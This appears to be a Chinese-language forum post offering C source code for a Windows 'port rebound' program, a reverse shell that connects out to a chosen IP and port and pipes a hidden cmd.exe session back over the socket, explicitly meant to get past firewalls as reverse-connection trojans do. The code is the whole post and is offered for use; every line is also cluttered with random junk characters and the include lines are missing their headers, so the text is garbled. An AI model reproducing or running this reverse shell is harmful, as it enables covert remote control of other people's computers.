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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L[a A4`  
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/* ============================== e.l3xwt>$  
Rebound port in Windows NT [MI?  
By wind,2006/7 7S.E,\Tws  
===============================*/ $s`#&.>c-  
#include K^f&+`v6_  
#include x4^* YZc$,  
qtYVX:M@,  
#pragma comment(lib,"wsock32.lib") h'|J$   
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void OutputShell(); <S@XK%  
SOCKET sClient; >m'n#=yap  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jx[g;7~X  
,/Usyb,`  
void main(int argc,char **argv) m!LJK`gA  
{ Zv^n  
WSADATA stWsaData; =Yt)b/0b9  
int nRet; C $*#<<G  
SOCKADDR_IN stSaiClient,stSaiServer; V:*6R/Ft  
w3E#v&"=Y  
if(argc != 3) -![>aqWmj1  
{ </-aG[Fi  
printf("Useage:\n\rRebound DestIP DestPort\n"); a"bael  
return; #.W^7}H  
} ?f&O4H  
Q)L6+gW^  
WSAStartup(MAKEWORD(2,2),&stWsaData); /pYp, ak  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SsfHp  
+5xk6RP   
stSaiClient.sin_family = AF_INET; I6lWB(H!u  
stSaiClient.sin_port = htons(0); n1r'Y;G  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R!y`p:O C  
ka?EXF:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KbM1b  
{ u.9syr  
printf("Bind Socket Failed!\n"); "*JyNwf  
return; i=AQ1X\s  
} a*bAf'=  
Su*f`~G];  
stSaiServer.sin_family = AF_INET; 6!$2nK+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >NMq^J'/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gm.2!F=R4A  
}y&tF'qG  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8/BWe ;4  
{ D5$| vv1  
printf("Connect Error!"); owKOH{otf  
return; h;JO"J@H  
} H%G|8,4  
OutputShell(); -4LckY=]1  
} " gQJeMU  
:@]%n~x  
void OutputShell() 45U!\mG  
{ ? uu,w  
char szBuff[1024]; V8-*dE  
SECURITY_ATTRIBUTES stSecurityAttributes; Q~zs]{\  
OSVERSIONINFO stOsversionInfo; `FHKQS5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?my2dd,|  
STARTUPINFO stStartupInfo; )=5 ,S~IT  
char *szShell; bD4aSubN  
PROCESS_INFORMATION stProcessInformation; . l-eJ  
unsigned long lBytesRead; +(/' b' *  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j:P(,M[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =BroH\  
stSecurityAttributes.lpSecurityDescriptor = 0; aK5O0`  
stSecurityAttributes.bInheritHandle = TRUE; RZbiiMC>  
*RJiHcII  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5h@5.-}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _qvzZ6  
Sgq" 3(+%,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |DkK7gw  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M&J$9X  
stStartupInfo.wShowWindow = SW_HIDE; 'h3yxf}\  
stStartupInfo.hStdInput = hReadPipe; ?~=5 x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H C(7,3  
<Wa7$hF  
GetVersionEx(&stOsversionInfo); ='Fh^]*5  
BI:O?!:9)  
switch(stOsversionInfo.dwPlatformId) ?cKe~Q?3  
{ m,^UD{  
case 1: X-j3=8wPM  
szShell = "command.com"; @ @"abhT  
break; JL!:`#\  
default: (g3@3.Kk)  
szShell = "cmd.exe"; 5j>olz=n}  
break; /33m6+  
} 9?zi  
0T.kwZ8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  >^J  
TxvvCV^  
send(sClient,szMsg,77,0); $VnPs!a  
while(1) qc"PTv0q  
{ >?|c>HGX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bA02)?L  
if(lBytesRead) \%Lj !\  
{ @YHt[>*S  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DsCbMs=Y  
send(sClient,szBuff,lBytesRead,0); tJ9gwx7Pg  
} ZYs?65.  
else <8YIQA  
{ !P@4dG  
lBytesRead=recv(sClient,szBuff,1024,0); u]MQ(@HHF  
if(lBytesRead<=0) break; fir#5,*q|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W-<`Vo'  
} (o518fmR  
} +6Ye'IOG  
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return; a Juv{  
}
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